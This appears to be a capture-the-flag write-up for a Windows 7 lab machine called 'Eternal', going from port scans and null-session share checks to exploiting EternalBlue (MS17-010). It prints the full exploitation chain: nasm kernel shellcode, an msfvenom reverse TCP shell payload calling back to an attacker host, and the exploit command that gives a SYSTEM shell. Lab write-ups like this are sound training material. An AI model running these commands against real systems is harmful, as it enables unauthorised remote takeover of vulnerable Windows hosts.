TL;DR

  • The system has null sessions on shares
  • We then confirm the vulnerabilities with nmap
  • We found an exploit on Github
  • Running the exploit we get access as system

NETWORK

rustscan -a 172.31.1.10            

135/tcp   open  msrpc       syn-ack
139/tcp   open  netbios-ssn syn-ack
5357/tcp  open  wsdapi      syn-ack
49152/tcp open  unknown     syn-ack
49153/tcp open  unknown     syn-ack
49154/tcp open  unknown     syn-ack
49155/tcp open  unknown     syn-ack

nmap -sCV -Pn 172.31.1.10 -p135,139,445,49152,49153,49154,49155
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-26 14:04 EDT
Nmap scan report for 172.31.1.10
Host is up (0.12s latency).

PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Ultimate 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: ETERNAL; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h23m52s, deviation: 4h02m29s, median: 3m52s
|_nbstat: NetBIOS name: ETERNAL, NetBIOS user: <unknown>, NetBIOS MAC: 02:fe:e8:f4:aa:b8 (unknown)
| smb2-security-mode: 
|   2.1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2022-03-26T18:09:15
|_  start_date: 2022-03-26T18:06:55
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery: 
|   OS: Windows 7 Ultimate 7601 Service Pack 1 (Windows 7 Ultimate 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1
|   Computer name: Eternal
|   NetBIOS computer name: ETERNAL\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2022-03-26T11:09:15-07:00

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 68.62 seconds

ENUMERATION

Shares

We have found “Null session” as we can see shares without credentials

Checking for what’s in these shares doesn’t provide more information but the fact that we have a null session and the name of the machine being “eternal” screams “eternal blue”

Eternal blue?

A more directed scan for vulnerabilities with

nmap -p- -v --min-parallelism 100 -A -script vuln 10.10.10.40

confirms our suspicions, the machine is vulnerable to smb-vuln-ms17-010

What is EternalBlue?

Source: https://www.avast.com/c-eternalblue

EternalBlue is both the given name to a series of Microsoft software vulnerabilities and the exploit created by the NSA as a cyberattack tool. Although the EternalBlue exploit — officially named MS17-010 by Microsoft — affects only Windows operating systems, anything that uses the SMBv1 (Server Message Block version 1) file-sharing protocol is technically at risk of being targeted for ransomware and other cyberattacks.

FOOTHOLD

Finding an exploit

We have a potential exploit https://github.com/worawit/MS17-010

The script covers our machine spec

Let’s clone the project in our machine

We had to install the latest impacket https://github.com/SecureAuthCorp/impacket and nasm sudo apt-get install nasm

Exploit generation

Let’s use nasm to generate a kernel bin

nasm -f bin shellcode/eternalblue_kshellcode_x64.asm -o ./sc_x64_kernel.bin

then we have to generate the reverse shell with msfvenom

msfvenom -p windows/x64/shell_reverse_tcp LPORT=443 LHOST=10.10.0.3 --platform windows -a x64 --format raw -o sc_x64_payload.bin

For the last step we have to merge the kernel and the shell together

cat sc_x64_kernel.bin sc_x64_payload.bin > sc_x64.bin

Thanks to all these steps we get 3 new files

then running the following command

python2 eternalblue_exploit7.py 172.31.1.10 sc_x64.bin

we get a reverse shell as system

CAPTURE FLAGS